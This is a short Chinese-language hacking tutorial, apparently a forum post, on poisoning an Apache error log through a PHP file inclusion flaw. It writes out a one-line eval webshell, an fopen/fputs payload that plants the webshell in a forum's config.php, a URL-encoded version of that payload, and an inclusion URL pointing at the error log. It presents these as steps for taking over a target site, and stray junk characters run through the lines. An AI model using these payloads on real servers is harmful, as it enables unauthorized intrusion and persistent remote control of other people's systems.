php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
; C; ^# f5 j$ k" p8 s' D<?eval($_POST[cmd]);?>   

' ?2 R3 G* h. X到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
: S! t( z9 }  F" u
8 ~, H: |& S" z0 I. b. h<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
8 e6 V4 }4 O% m  \9 z. p0 vfclose($fp);?>   //在config.php里写入一句木马语句
2 f) i. x! F7 y( u) e/ w' V
  L  i+ A% n% K5 ?9 n% V我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
; m7 u2 t4 p5 |8 G/ I转换为
- O( ~% l2 {) R7 C%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
7 }8 o) @  p  W9 ]' c9 S1 Lconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp

fclose%28%24fp%29%3B%3F%3E
0 L' {& w2 ?+ t6 T0 a+ \5 \8 u我们提交

4 g6 N. v: X  x这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
6 I6 C* t' q, [9 q. n2 O5 jhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
8 O2 w) g  r( c5 p) V% J/ s, _
# E( V) t0 Z' T1 h这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell

* N; L0 i3 s: {PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
